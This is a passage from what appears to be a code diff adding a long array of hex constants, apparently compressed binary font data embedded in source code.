+ 0x00ffe026, 0x070b0905, 0x1b831382, 0x29418c20, 0x05c22419, 0x82187603, 0x040a22ea, 0x20008200, 0x083b4508, 0x0f00072f, 0x1f001700, 0x2f002700, + 0x59005100, 0x08cb4300, 0x32430620, 0x4c262006, 0xd04c08c8, 0x8e362005, 0x4d272017, 0x152105ea, 0x05084623, 0x2b061427, 0x35231501, 0x05514626, + 0x17011e25, 0x4826011e, 0x02270633, 0x0e0e1472, 0x84620e14, 0x84322005, 0x848e2005, 0x82148205, 0x3f118502, 0x0d130333, 0x130d6020, 0x26600d13, + 0x40e0401a, 0x232a5070, 0x0e133440, 0x131ac435, 0x90131a13, 0x7e202b84, 0x46200584, 0x5a200584, 0x76200584, 0x36200584, 0x3b250584, 0x130d0706, + 0x2d2c8220, 0xb120261a, 0x7050553a, 0x141b2716, 0x10822599, 0x821a1321, 0x091b42fb, 0x2900212e, 0x39003100, 0x54004c00, 0x17250000, 0x0f23c882, + 0x42230601, 0x36230cf6, 0x8432013b, 0x161723c4, 0x20432706, 0x04072105, 0x20065444, 0x24078606, 0x3b161404, 0x24f78901, 0x22230537, 0x06244104, + 0xb4c60122, 0x220fff42, 0x863b3127, 0x07062cd1, 0x13079c0f, 0x01090f0d, 0x820e146a, 0x844e20b9, 0xe0fe2105, 0x1526fa87, 0x0d143f01, 0x15842b01, + 0x438b8121, 0x1e210f03, 0x29d68421, 0x6a1b0e0e, 0x130d0909, 0xfb84840c, 0x05844e20, 0x131a1122, 0x2e23fb85, 0x8408f628, 0x3bf78211, 0xfffcff04, + 0x010002c0, 0x000700c0, 0x00200018, 0x11000037, 0x15173736, 0x05263523, 0x3124fa82, 0x013e2721, 0x1623ed82, 0x41021e17, 0x172007b1, 0x2005d341, + 0x06db4107, 0x0e072a08, 0x35012b01, 0x03010721, 0x0243a0dc, 0xeffe0300, 0x3e6716e2, 0x1d593442, 0xc21b1b0b, 0x1a13131a, 0x09073013, 0x0a950709, + 0x3d06838b, 0x21070180, 0x00019215, 0x0e080110, 0xb1c3a10e, 0x0606013d, 0x4537a401, 0x4710292f, 0x2c822152, 0xa31a1326, 0x20090e09, 0x04240382, + 0x30c01814, 0x0020a383, 0x83050f4b, 0x000f27a3, 0x00790029, 0x6f422400, 0x20ab830e, 0x069e4806, 0x42211521, 0xb5820768, 0x49270121, 0x222d0532, + 0x36013f26, 0x0f222634, 0x3d260601, 0x27088201, 0x14011d06, 0x26012f06, 0x1f22cc82, 0x3b821601, 0x3221d585, 0x22218216, 0x82321614, 0x8216202d, + 0x32162221, 0x202d8236, 0x82218236, 0x222d8246, 0x82013336, 0x20028298, 0x05474d37, 0x13033d2d, 0x1a26200d, 0x4000ff40, 0x824a5070, 0x350e22f3, + 0x2be58387, 0x0f10160c, 0x0d0a0509, 0x280f0805, 0x282b2d82, 0x0d05080f, 0x0f09050a, 0x9d0c1610, 0x84d0201e, 0x8449205e, 0x065a3205, 0x40130d07, + 0xb140261a, 0x70505639, 0x9815292f, 0x904bac15, 0x085b4c6a, 0xc001402e, 0x33002b00, 0x00004100, 0x06171625, 0x0723f282, 0x4a012f26, 0x3d230676, + 0x83060701, 0x3526260e, 0x36253734, 0x0a8b5132, 0x22265008, 0x32161406, 0x32173436, 0x26343536, 0x0622012b, 0x33161415, 0x01043b02, 0x05160301, + 0x10050606, 0x80fe0d13, 0x0510130d, 0x16050705, 0x00010504, 0x650c1e0c, 0x07400709, 0x2634c609, 0x30263426, 0x28380907, 0x09382840, 0x0705d407, + 0x83180506, 0xd20e3b38, 0x0d13130d, 0x01030ed2, 0x05180401, 0xe2050706, 0x345a0a0a, 0x07090907, 0x32820888, 0xea34262a, 0x38280709, 0x09072838, + 0x1b4dbe82, 0x82802006, 0x003324bf, 0x8252004e, 0x231523bf, 0xb2832622, 0x2f222322, 0x8b069946, 0x05bf43b2, 0x07222322, 0x1d21b086, 0x22b18201, + 0x82163205, 0x0abc4a07, 0x42343521, 0x1d2a05e5, 0x23352301, 0xb0100115, 0xbe82130d, 0x12050635, 0x0ad40504, 0x09580a1b, 0x09072007, 0x0604053b, + 0x84121b89, 0x07093ece, 0x0605a501, 0xd6fe1219, 0x05061912, 0x080d0825, 0x30110ce6, 0x1380a0c0, 0x0313a40d, 0x243c8404, 0x4e0909bb, 0x28c78327, + 0x06053460, 0x15080405, 0x360c8325, 0xa0090740, 0x120a0506, 0x0a121919, 0x09a00605, 0x0d13090e, 0x839090a0, 0x000625db, 0x02b6ff00, 0x0b2edb83, + 0x89003900, 0x99009100, 0x0000c700, 0xbd832601, 0x31055e4b, 0x32331603, 0x010f0637, 0x34352606, 0x3e373637, 0xca833308, 0x22232626, 0x011f1406, + 0x28079043, 0x06361406, 0x26012f22, 0x25e48306, 0x013d2622, 0x31822634, 0x34262228, 0x2636013f, 0x0882012b, 0x36204c83, 0x34262182, 0x011f3236, + 0xf24a3616, 0x82162008, 0x16322221, 0x222d8214, 0x82013b16, 0x82062008, 0x8206202d, 0x07fa4321, 0x78511620, 0x8206200a, 0x8227203f, 0x3536258e, + 0x33012f34, 0x22056543, 0x82343637, 0x073b088b, 0x33363435, 0x17071e32, 0x0b580116, 0x07090b1a, 0x94090710, 0x0404140d, 0x2f3c2014, 0x4521044e, + 0x0b020c01, 0x0b080b04, 0x291d070d, 0x1c140f0c, 0x140c080f, 0x0c141c1c, 0x43f50e08, 0xe6423232, 0x0e92260a, 0x090e0909, 0x26058449, 0x4e042c01, + 0x83203c2f, 0x28608976, 0x0f131d0f, 0x071d290c, 0x087d820d, 0x020b043a, 0x0145010c, 0x87070729, 0x07090907, 0x010f54fe, 0x0d0f091a, 0x0f0f2e37, + 0x12026c7b, 0x0a040f04, 0x26020503, 0x1c081b1c, 0x1c090e28, 0x0e091c28, 0x050a0d27, 0x15110f09, 0x15217285, 0x2ee34311, 0xdc436420, 0x0f1f2c0a, + 0x0d372e0f, 0x011a090f, 0x8714141c, 0x081d285e, 0x02261c1b, 0x820a0305, 0x02123a7c, 0x0000006c, 0xff000005, 0x014002c0, 0x000700c0, 0x002c0024, + 0x00680048, 0x07c04a00, 0x1f140622, 0x2109914d, 0x884d2622, 0x1e322705, 0x06141701, 0x7e4b010f, 0x42072007, 0xba4d06ec, 0x36373008, 0x2e012f34, + 0x013e3501, 0x14160733, 0x8306010f, 0x82232039, 0x2f22271e, 0x3f342601, 0x30833601, 0x35332108, 0x17323634, 0x2626347a, 0x0e402634, 0x400d1332, + 0x130d130d, 0x0d401a26, 0x04041218, 0x8c014801, 0x20221a84, 0x1682261a, 0x32341c83, 0x01480e0e, 0x14200704, 0x48040404, 0x80070a03, 0x48030a07, + 0x01210a89, 0x38488240, 0x26c33426, 0x0d60300d, 0x800d1313, 0x1a600d13, 0x0b130a26, 0x44010201, 0x221b8490, 0x821a2646, 0x8380201a, 0x3060251d, + 0x440d260d, 0x122f1a82, 0x0a048716, 0x07034404, 0x05242405, 0x8b440307, 0x0aab4a0c, 0x40001a31, 0x34130000, 0x05373435, 0x012b0607, 0x82352622, + 0x872320c7, 0x3735210a, 0x2014ad49, 0x068e4827, 0x33011f22, 0x3505ea42, 0x45010220, 0x42090542, 0x31010a06, 0x08052b67, 0x20090728, 0xaa473a02, + 0x25be3e0f, 0x42060a01, 0x72690509, 0x1e42421e, 0x022c0139, 0xfb040402, 0x07090875, 0x3aac0202, 0x21068306, 0x9747ca6c, 0x82933b0f, 0x09070202, + 0x3227b808, 0x03000027, 0xc0ffffff, 0xc1018001, 0x3b001600, 0xb9825200, 0x021e3229, 0x1514011f, 0x85010e14, 0x37352abc, 0x1733013e, 0x2b263435, + 0x08b74401, 0x06222329, 0x1614011d, 0x8315013b, 0x3e322304, 0xb7823d01, 0x41373621, 0x2f2405c1, 0x23152301, 0x08055d49, 0x33151621, 0x0cec1732, + 0x010b1116, 0x111e1115, 0x15251bc0, 0x9c192402, 0x08280508, 0x08061a06, 0x85080528, 0x0604220a, 0x3a0b8204, 0x1605058b, 0x2b050d05, 0x0d138043, + 0x43130d40, 0x2001131a, 0x0c160f09, 0x820303e0, 0x1a26293c, 0x19e00303, 0x051bad21, 0x05263787, 0x2807061b, 0x3c830806, 0x82f50721, 0x05162338, + 0x99492b05, 0x45132005, 0xd782059b, 0x1700c026, 0x3d002600, 0x1620d783, 0x9241d684, 0x37353406, 0x33043e34, 0x35363213, 0x22262734, 0x14150607, + 0x9613021e, 0x24193bbf, 0x1a261502, 0x15261ac0, 0x0d0c0806, 0x194c0810, 0x0a033423, 0x100a3403, 0xb292e716, 0x82182221, 0x261a23b0, 0xaf821b25, + 0x0d0f0835, 0xff04080a, 0x1c192200, 0x46040445, 0x10160c1b, 0x8e420109, 0x000433ab, 0x01c0ff0f, 0x00c001f0, 0x00210007, 0x007d0075, 0x53481200, + 0x16252e06, 0x040e1415, 0x27220607, 0x3435032e, 0x06ea4c36, 0x2b464648, 0x023e3233, 0x012f3435, 0x22333626, 0xd9206f86, 0x3605ae44, 0x23151e02, + 0x172f332d, 0x2a081408, 0x1027404d, 0x0909c00e, 0x486e080a, 0xe2471d2e, 0x0e093110, 0x080f2809, 0x06030705, 0x09050304, 0x5b16100f, 0x00205d85, + 0x09391882, 0x200c750e, 0x414c6235, 0x0409202f, 0x5f431104, 0x180f4782, 0x04045005, 0x375648fc, 0x06040324, 0xe3480703, 0x0e092206, 0x083f4e00, + 0xc1010029, 0x50000900, 0x52370000, 0x252008cc, 0x59107347, 0x6f4408fc, 0x36372207, 0x22248533, 0x4922012b, 0x332008a4, 0x35088552, 0x012b0614, + 0xc0012015, 0x00ff2838, 0xd0013828, 0x07090907, 0x058320fe, 0x83406021, 0x0d502b05, 0x222b4013, 0x38280a09, 0x16820709, 0x131a1326, 0x500d1340, + 0x40271983, 0x28202020, 0x84a83838, 0x2f048417, 0x10070920, 0x0d130907, 0x3824bc30, 0x28380206, 0x11820c82, 0x13130d27, 0x0d30c00d, 0x201c8413, + 0x067b4520, 0xc001002f, 0x28002000, 0x38003000, 0x00004400, 0x20c78f01, 0x059b5314, 0x32013b2a, 0x26343536, 0x22063627, 0x2005f650, 0x20078626, + 0x20078636, 0x06654405, 0x01210e83, 0x228e82a0, 0x83c0fe28, 0x19802205, 0x82068359, 0x1c23280b, 0x2634461f, 0x50263426, 0x8d220515, 0xc382131a, + 0xc000ff26, 0x1a26261a, 0x01240483, 0x80283800, 0x282d3284, 0x381b2538, 0x28383850, 0x1c0a321e, 0x28318216, 0x1c7a3426, 0x281c1c28, 0x22318204, + 0x84f31a13, 0x00262111, 0x04260082, 0xbeff0d00, 0xc382b101, 0x53002926, 0x67005e00, 0x162bc182, 0x27061415, 0x3e37012e, 0x41353701, 0x143b0c84, + 0x15012b06, 0x36371716, 0x16011f32, 0x23020f14, 0x023e3736, 0x22233435, 0x8214011d, 0x353722df, 0x82c38234, 0x0e07293c, 0x15140701, 0x30331614, + 0x82052f53, 0x84262018, 0x32332324, 0x2b823226, 0x3d222335, 0x228e0101, 0x7956577c, 0x49650202, 0x09090720, 0x82078007, 0x203c0804, 0x05182c38, + 0x0417050d, 0x31c31b04, 0x0a0e1803, 0x0838380a, 0x0c010819, 0x12090408, 0x0a021113, 0x09520106, 0x381c1c83, 0x1a453937, 0x01010d0d, 0x7a573e33, + 0x55800101, 0x220c704c, 0x2609bd41, 0x19240922, 0x82170404, 0x1a3f0849, 0x132014bc, 0x3d111d10, 0x0808043c, 0x0e0b1705, 0x1b191411, 0x01011927, + 0x16080a06, 0x1d6b1a08, 0x3f6a3f20, 0x157413c2, 0x00007414, 0xfffaff03, 0x018602c0, 0x000500c1, 0x003a002c, 0x82171300, 0x013721fe, 0x3314e34d, + 0x21333637, 0x16011f32, 0x17212306, 0x35171533, 0x17350533, 0x2b06204b, 0x15331135, 0x134a5812, 0x3a020b12, 0x08101e46, 0x090b2323, 0x11960111, + 0x120a5609, 0x29c2fe13, 0xff408035, 0x0d134000, 0x130d00ff, 0x44440140, 0xf1fe1022, 0x0f1d462d, 0x0e101b35, 0x2210800e, 0x8c632920, 0x49321ba0, + 0x0d13130d, 0x45a00001, 0x2208054f, 0xc0016002, 0x16000d00, 0x00004600, 0x21173337, 0x013d2622, 0x33161716, 0x23273732, 0x012e2722, 0x46061737, + 0xbf8814dd, 0x82060721, 0x21038327, 0x35833517, 0x37362308, 0x9ee27a15, 0x120c61fe, 0x09090807, 0x011c0e0e, 0x242b0706, 0x011c8617, 0x130306d8, + 0x04050804, 0x0886d1fd, 0x82092221, 0x11803eca, 0x24193d09, 0x2a07062d, 0x0d2a1c1c, 0x0e0e890c, 0x07080909, 0x0d138040, 0x010103c5, 0x233e8204, + 0x1b6d2859, 0x3210f046, 0x0f0f101c, 0x065a2868, 0x04212101, 0x01045070, 0x86820301, 0x828120cf, 0x00152bcf, 0x0044003c, 0x37341300, 0x9f820605, + 0x2e222129, 0x37343501, 0x9435053e, 0x333631ca, 0x1d010e21, 0x35261701, 0x16323634, 0x07061415, 0x33078f4a, 0x3c010140, 0x17071204, 0x0804e7fe, + 0x0d030104, 0x02020803, 0x3b11b147, 0x01231a36, 0x32201c1c, 0x38503812, 0x1a21212b, 0x131a1313, 0x110f0001, 0x16361ff5, 0x03293782, 0x0c260902, + 0x0a140d19, 0x0f97415e, 0x1d2d2a35, 0x27493e65, 0x70503d33, 0x68455070, 0x36257b0e, 0x52362525, 0x162b0c47, 0x42001e00, 0x5b004d00, 0x59370000, + 0x37240554, 0x07020e17, 0x20095643, 0x06fe4324, 0x65420720, 0x013e2214, 0x30d18333, 0x1707010e, 0x3405021e, 0x06173736, 0x26222123, 0x062d4535, + 0x012b2108, 0x3627012e, 0x14118533, 0x8904251b, 0x03142014, 0x26130d42, 0x011a401a, 0x262634a0, 0x856b2634, 0x080f9d48, 0x3e06a434, 0x12422e2b, + 0x13371520, 0x93fe1921, 0x07f52c3c, 0x14e0fe06, 0x1ac0011c, 0x420d1326, 0x131e2805, 0x250cec1a, 0x890b0b1b, 0x172a210b, 0x1a200d13, 0x49822026, + 0xa9342623, 0x3efe8f67, 0x42382a7f, 0x1e2a172e, 0x12032b08, 0x422c411b, 0x1c02bd04, 0x1a26b014, 0x23130d20, 0x4813103a, 0x022c05c7, 0x00c10101, + 0x005f0057, 0x25000067, 0x5a0a324c, 0x844c069b, 0x062b5e0e, 0x230e864c, 0x33363435, 0x2011884c, 0x05ba5533, 0x33160623, 0x06764c04, 0x36077e4c, + 0x110ce401, 0x26160c11, 0x080f1b1d, 0x080b0c11, 0x10471b0f, 0x82471018, 0x0c0b220d, 0x220d8211, 0x9f16261d, 0xfefe2120, 0x200a205a, 0x233d8fdc, + 0x0b11110b, 0x20905e9c, 0x831c2c21, 0x5154204f, 0x2a080756, 0xf9ff0300, 0x8702bfff, 0x2400c701, 0x62005900, 0x36370000, 0x010e1737, 0x0614011d, + 0x012e2223, 0x2634013d, 0x0615020f, 0x4d36012e, 0x33260994, 0x27010e01, 0x10822601, 0x4d011f21, 0x17221398, 0x994d011e, 0x0e27080c, 0x16170701, + 0x36342507, 0x23263435, 0x0f720722, 0x1611f50d, 0x0d080c10, 0x0f1b4707, 0x10180901, 0x1b0f0901, 0x8316261d, 0x0d022eac, 0xfd050d04, 0x14090cb3, + 0x085d0d0a, 0x0a324118, 0x09081623, 0x05334101, 0x0f34d484, 0xa3020e18, 0xd2fe090c, 0x08141c01, 0x0701dc08, 0x131c06bd, 0x55824282, 0x1d261622, + 0x01245782, 0x17120108, 0xfe2d3f86, 0x040205ea, 0x0c0ac701, 0x49090c1a, 0x83458a09, 0x07072129, 0x10326782, 0x1810471a, 0x0d150e10, 0xfc0c0a7e, + 0x14010201, 0x5747031c, 0x01802c06, 0x004f00c0, 0x00a70057, 0x42b700af, 0x14200d3b, 0x2041be4e, 0x077a5f33, 0x06222724, 0xba60011f, 0x0e8b4205, + 0x2034104f, 0x0f0a4f23, 0x5105c261, 0x913538ef, 0x1a13131a, 0x161d6513, 0x0c060c14, 0x140c0612, 0x0c120c35, 0x200c8235, 0x280f8212, 0x101d1614, + 0x080d0d08, 0x211e8410, 0x1e8a110d, 0x820d1121, 0x201e860c, 0x0ad95fd8, 0xca496020, 0x05784f37, 0x8c822020, 0x981a1322, 0x9f8c8095, 0x9f8e808b, + 0x44841520, 0x89823320, 0x0805134a, 0xfaff0148, 0x0602c0ff, 0x1700c001, 0x07010000, 0x16323315, 0x012b1415, 0x36343522, 0x2735013b, 0x21333626, + 0xf6011632, 0x171138d6, 0x1708f008, 0x10d63811, 0xbc011711, 0x86011117, 0x1117c0d6, 0x17110808, 0x2a10d6c0, 0x0082002a, 0x54000121, 0x1e22070b, + 0xde590000, 0x14112c05, 0x34262206, 0x17323336, 0x88150535, 0x3411310b, 0x05d60137, 0x38130d05, 0x28383850, 0x00ff1010, 0x16300886, 0x1302be01, + 0x1ba0fe0d, 0x25362525, 0xea4bb904, 0x01230885, 0x4a071805, 0xbf2206bf, 0xab820002, 0x21001925, 0x4c250000, 0x2624079e, 0x2306013d, 0xbb836683, + 0x6b820720, 0x3b070742, 0x0707f901, 0x0714071c, 0x48380764, 0xac7a7a56, 0x0a102c7a, 0x4b6afa07, 0x054b6a4b, 0x1c211682, 0x22198207, 0x822c100a, + 0x567a2518, 0x07073848, 0x4b2e1782, 0x0100006a, 0xe0fffdff, 0xa4010302, 0x0c821200, 0x011e4408, 0x2206010f, 0x3626012f, 0x1f163637, 0x013e3701, + 0x062fce01, 0x1a0ac12b, 0x062bc10a, 0x266b292f, 0x6b261414, 0x7c288101, 0x0a0ac82b, 0x287c2bc8, 0x14270923, 0x00092714, 0xff0f0001, 0x013102ba, + 0x821800c1, 0x32362347, 0x4b83021f, 0x16174108, 0x07012f06, 0x013f2606, 0x3f362627, 0x09030101, 0x92410928, 0x6a0e0c14, 0x11200319, 0x20118383, + 0x0e6a1903, 0x0192140c, 0x841212ae, 0x0e260216, 0x17139267, 0x0a444409, 0x67921318, 0x1602260e, 0x2708cb4b, 0xc001c001, 0x1b000700, 0x50090358, + 0x21210750, 0x06715022, 0x37321624, 0xf1841501, 0x4f37262f, 0xa0fe141c, 0x374f1c14, 0x234c2311, 0x2cec84c0, 0x2a374f6b, 0x141c1c14, 0x104f372a, + 0x20578310, 0x3e5c8509, 0x2f008001, 0x47003b00, 0x5f005300, 0x77006b00, 0x8f008300, 0x32010000, 0x14111516, 0x65012b06, 0x21200632, 0x73650786, + 0x013b2906, 0x013b1415, 0x21013d32, 0x27870786, 0x81651585, 0x200b8f05, 0x8f438605, 0x96172017, 0x013d2117, 0x012b4789, 0x0e0e0ae8, 0x280c080a, + 0x82c0fe0c, 0x87082004, 0x4001210d, 0x80201283, 0x028e0482, 0x0c100124, 0x02880cc8, 0x1d8e7020, 0x012b0e82, 0xfe0a0e80, 0x140e0ab0, 0x83140c0c, + 0x0a0e2303, 0x0d895001, 0x28ccfe23, 0x2024820c, 0x26058a6c, 0x0c0c60c4, 0x84b40c60, 0x908c2005, 0x0000351d, 0xff000004, 0x010002e0, 0x000f00a0, + 0x002f001f, 0x0100003f, 0x210d494d, 0x584d2336, 0x3336250c, 0x3b363403, 0x2506c94c, 0x2622012b, 0x3d520535, 0x05195508, 0xc0280122, 0x0483e883, + 0x08874620, 0x0e180a23, 0x2115870a, 0x15882801, 0x0ea00124, 0x0d83a00a, 0xfe21048c, 0x201288f8, 0x221f8918, 0x8a090000, 0x002031ab, 0x00420030, + 0x00620052, 0x00820072, 0x13000092, 0x8508a352, 0x5117209e, 0xd8520610, 0x15162206, 0x20b68e37, 0x056c6023, 0x22068742, 0x42151632, 0x404e069b, + 0x33362206, 0x20308e07, 0x20e78e25, 0x200f8e07, 0x252f8e25, 0x650a0e95, 0x04840e0a, 0x0b07b624, 0x0b836606, 0x20200482, 0x20241689, 0x05080704, + 0xce201787, 0x0e222b86, 0x2189180a, 0x88830121, 0x254b8715, 0xcdfe0a0e, 0x35870a0e, 0x50880122, 0x04832183, 0x6482fa20, 0x840a0e21, 0x87a0200e, + 0x050a2413, 0x86040609, 0x86882014, 0x20218207, 0x8a1f88b8, 0x89a02014, 0x8868201f, 0x8200201f, 0x42062000, 0x4f251023, 0x00005f00, 0x0e714137, + 0x200f2f41, 0x0e374213, 0x68061b62, 0x142305f9, 0x69012306, 0xb1620705, 0x17352105, 0x88054f41, 0x0a3f411f, 0x7d200a8a, 0x20081041, 0x210983b5, + 0x05831b01, 0x0ecdfe23, 0x2309860a, 0x180e0ae5, 0xe8201889, 0x20081d41, 0x21d288aa, 0xe889a801, 0x8940fe21, 0xa801210b, 0xb8202288, 0xff821589, + 0x03830120, 0x01000225, 0x8214007f, 0x542720f5, 0x1f2105e7, 0x06ea4e01, 0x0601072f, 0x07a7ae22, 0x15072507, 0x08f07008, 0x2b088215, 0x07d9fe07, + 0x07a60916, 0x08240716, 0x08211383, 0x220a8224, 0x8308dafe, 0xffff2947, 0x61010f00, 0x23007101, 0x17204b82, 0x21072246, 0x40550607, 0x2e5d9006, + 0x090964f3, 0x091a0a16, 0x1a096464, 0x8309160a, 0x200f8c07, 0x821796c0, 0x8227842f, 0x00032373, 0x9746ff00, 0x001b2a05, 0x003d0035, 0x14150100, + 0x2303842b, 0x23013d22, 0x34230382, 0x8235013b, 0x1d322503, 0x13323301, 0xb2468a85, 0x011f250e, 0x34261416, 0x2505c359, 0x380c3001, 0x0382200c, + 0xc9200686, 0x2910c246, 0x50a80764, 0x70505070, 0x268a0001, 0xfe380c23, 0x0fd146d7, 0x14076423, 0x212883ce, 0xa3890050, 0x25000b24, 0xa3862d00, + 0x93a59b85, 0x0c0ca824, 0x8b9d0ca8, 0x839bb582, 0x0700022c, 0xf801c7ff, 0x2900c001, 0x81823900, 0x15011e22, 0x3105714b, 0x013e3435, 0x1f163637, + 0x07061601, 0x1415030e, 0xaf513316, 0x012e2605, 0x013e013f, 0x05986c07, 0x08086844, 0x30900128, 0x43679138, 0x2e1a4372, 0x05150920, 0x07040410, + 0x0a111910, 0x63454662, 0x04072024, 0x15051004, 0x200a0e5f, 0x04840e0a, 0x8a012708, 0x673d6b22, 0x44724291, 0x173e4c29, 0x1c090506, 0x0c051208, + 0x1527221d, 0x47626345, 0x05184727, 0x091c0812, 0x2e83d805, 0x0483f020, 0x05000028, 0xc0ff1800, 0xa7826802, 0x2307b345, 0x3700004f, 0x440e6d43, + 0x25200fcd, 0x26071b47, 0x11352622, 0x82333634, 0x052b472f, 0xd8250f96, 0x07090907, 0x20048330, 0x20098850, 0x840f8401, 0x88b02004, 0x23098914, + 0xc00709a0, 0x04821683, 0x07096023, 0x820a8360, 0x09c02404, 0x83e0fe07, 0x2001230b, 0x17820907, 0x8480fe21, 0x8305820c, 0x2213820c, 0x82010709, + 0x00002b1f, 0x10000200, 0xf001c1ff, 0xe14fbf01, 0x16253305, 0x06070607, 0x0706012f, 0x06071415, 0x013d2627, 0x07832726, 0x3f26273a, 0x37342601, + 0x36372627, 0x011f3637, 0x34353736, 0x16173637, 0x1716011d, 0x17250783, 0x16010f16, 0x07c24b07, 0x09e7013b, 0x06261103, 0x221b2b08, 0x0a363709, + 0x092a1b22, 0x03112606, 0x03032a09, 0x2119842a, 0x19832a09, 0x89093721, 0x06270819, 0x2f42de06, 0x842f422f, 0x29350a04, 0x17190407, 0x020a310c, + 0x0a020c0c, 0x19170c31, 0x35290704, 0x11190509, 0x84191124, 0x1805211e, 0x0a251e90, 0x23231904, 0x2140822d, 0xd382422f, 0xffffff2b, 0x014102e0, + 0x001e00a0, 0x05654944, 0x37450120, 0x2b262609, 0x1d062201, 0x08aa4601, 0x31602520, 0x012f2607, 0x010f2226, 0x15975c06, 0x0418012c, 0x09b80408, + 0x09077007, 0x18670709, 0x290a8205, 0x0304dc01, 0x05050419, 0x1d82eb03, 0x0403eb3b, 0x03190406, 0x220efd04, 0x05075a0d, 0x01070538, 0x9802022c, + 0x0a0907a4, 0x05984106, 0x05070426, 0x31a40709, 0x032a2682, 0xc203051f, 0x03c20202, 0x35831f05, 0x0b0bd02a, 0x0705494a, 0x008b0507, 0x022d0082, + 0xc8ff0800, 0xb801f801, 0x1d000700, 0x08e75600, 0x35360524, 0x5f582f34, 0x1f143e09, 0x32331601, 0x91ce9937, 0x0191ce91, 0x3a060454, 0x07200709, + 0x04430f09, 0x01040806, 0x221482b8, 0x82a8ce91, 0x2a05220b, 0x22b38390, 0x820c139c, 0x00340878, 0x00fbff03, 0x01450200, 0x00220080, 0x00420030, + 0x06162500, 0x3427012b, 0x22012b26, 0x0715010e, 0x37262223, 0x013b3613, 0x3b161407, 0x35363201, 0x17323327, 0x2206c44e, 0x83012f36, 0x32172425, + 0x8535013e, 0x15063030, 0x011e1407, 0x073d0233, 0x0bc41112, 0x82440709, 0xc40b2ce0, 0x8c071211, 0x03621308, 0x821e0305, 0x13622b03, 0x0104ad08, + 0x06280607, 0x07820107, 0x37072829, 0x06040804, 0x822e0609, 0x24098203, 0x621d102d, 0x3f108206, 0x101d6204, 0x17134001, 0x04050504, 0x2c341317, + 0x05080805, 0x05b0072c, 0x06300508, 0x30060808, 0x00220882, 0x4b4c0004, 0x00152e07, 0x0033002b, 0x1300003b, 0x1d163233, 0x4b048201, 0x3b25078f, + 0x36343501, 0x08195f01, 0xca823420, 0x32161723, 0x2022833f, 0x064b4506, 0x0805ca6f, 0xd832162d, 0x580e0a50, 0x98090a0d, 0x98061006, 0x580d0a09, + 0x0e32010e, 0x0a30fe0a, 0x930a0e0e, 0x0f2a0f31, 0x0e0a9331, 0x0c100c7c, 0x844c100c, 0xc0012505, 0x19a80a0e, 0x2e822f82, 0x0aa81926, 0x7088fe0e, + 0x04822b83, 0x0f0f3125, 0x836a0e31, 0x832c8229, 0x02002202, 0x2a008200, 0x80014002, 0x1b001300, 0x5e250000, 0x3c080bc0, 0x3336013f, 0x05173221, + 0x33173307, 0x02273337, 0x141c0838, 0x1c1420fe, 0x1a0e6a08, 0x0e1a0c01, 0x7b55d4fe, 0x7b207020, 0x0f0ccc55, 0x1c1c1481, 0x0c0f8114, 0x2b15159f, + 0x80404080, 0x2a008200, 0xff070001, 0x010102c8, 0x563900c0, 0x414908df, 0x33302b08, 0x23022e17, 0x16140622, 0xcd6f3233, 0x15163305, 0x23060714, + 0x35012e22, 0x32333634, 0x2717011e, 0x09823134, 0x05f40126, 0xc8050707, 0x22080483, 0x2c106501, 0x67491e38, 0x32424967, 0x04050404, 0x46040322, + 0x42734360, 0x47256692, 0x0704173a, 0x86c00105, 0x052f2b29, 0x23180507, 0x67926713, 0x2682032c, 0x03060530, 0x44724240, 0x27159266, 0x0501521b, + 0xe35b0007, 0x82002006, 0x0029229b, 0x839d8253, 0x013b246a, 0x45011d32, 0xa08209b0, 0xa0820120, 0x2a08ed5b, 0x3233013e, 0x32031716, 0x82363736, + 0x20ad8329, 0x241f820e, 0x14172726, 0x45348431, 0x438307e4, 0x1e272329, 0x07b90101, 0x860c2f05, 0x18663490, 0x5f3e2d4d, 0x310a020e, 0x89110705, + 0x2362385a, 0x85603dbd, 0x1001210e, 0xbe820f84, 0x01212d8b, 0x20a782b3, 0x83f6840c, 0x2a2424cc, 0x82093b4c, 0x570126e0, 0xfe292e73, 0x830c8aaf, + 0x22278bcf, 0x49070000, 0x6d650a93, 0x00332805, 0x004b003f, 0x45210500, 0x212006d0, 0x2105f045, 0x77612200, 0x8e062005, 0x4c372007, 0x15200abf, + 0x01290b96, 0x1460fed0, 0x01141c1c, 0x240582a0, 0x1722adfe, 0x20028d17, 0x08aa4cf8, 0x20200888, 0x33842d82, 0x3382fe20, 0x84680121, 0x8a492030, + 0x209f2605, 0x0c200c0c, 0x41058a54, 0x012406a7, 0x00c001c0, 0x0020c983, 0x2711ed59, 0x16323634, 0x3523011d, 0x21057a63, 0x8d829001, 0x5f831420, + 0x18141c2d, 0x50597e59, 0xe02a3c2a, 0x83c0141c, 0x3c048215, 0x59593f48, 0x1e48483f, 0x481e2a2a, 0x00010000, 0x02c0ff08, 0x00c10100, 0x01000027, + 0x05117432, 0x23060727, 0x22232622, 0x06884507, 0x2611352d, 0x17363435, 0x1417011e, 0x82071415, 0x013d086b, 0x0f45305e, 0x3f3b0e1e, 0x3e1a6824, + 0x100a0e34, 0x22180e0a, 0x011f1618, 0x68472104, 0x07205d01, 0x11f31212, 0x17232909, 0x0e0e0a5e, 0x1182010a, 0x0121181d, 0x02151e01, 0x0c0a0a02, + 0x4d738223, 0x2f230753, 0x83120000, 0x0f1422ba, 0x059e5d01, 0x20063f42, 0x4dca8617, 0x2f220c48, 0x1e822601, 0x96d49628, 0x41020e12, 0x5a83182d, + 0x212f1827, 0x21719e71, 0x3b0c852f, 0x0e02412d, 0x96a00112, 0x0914306a, 0x0e3f2d07, 0x0e0ab00a, 0x714f0222, 0x22024f71, 0x3f270c84, 0x1409072d, + 0x82006a30, 0x00013500, 0x01fcff00, 0x00840100, 0x13000011, 0x11151636, 0x012f0614, 0x26085a56, 0x1e1e0bd7, 0x8366590b, 0x01663263, 0x100c0b79, + 0x0c10b0fe, 0x0a0e590b, 0x000e0a90, 0x223b8202, 0x848101fa, 0x9323203b, 0x1e17313d, 0x07061401, 0x36012e06, 0x27343637, 0x013e012e, 0xd42b4f8b, + 0x15191915, 0x05091408, 0x82151509, 0x01142204, 0x325f8d78, 0x30290c13, 0x06050c29, 0x0c051311, 0x13050c2e, 0x4e000611, 0xce2c0587, 0xb2014002, + 0x27001100, 0x50003e00, 0x25207793, 0x3e247789, 0x26343502, 0x16207a84, 0x26298a83, 0x37362627, 0x2e34023e, 0x22138401, 0x9c071617, 0x012908a2, + 0x44443c42, 0x0b14083c, 0x2f210904, 0x0931391a, 0x28140b04, 0x1309292d, 0x09040505, 0x0f0f1d13, 0x0409131d, 0x2908140a, 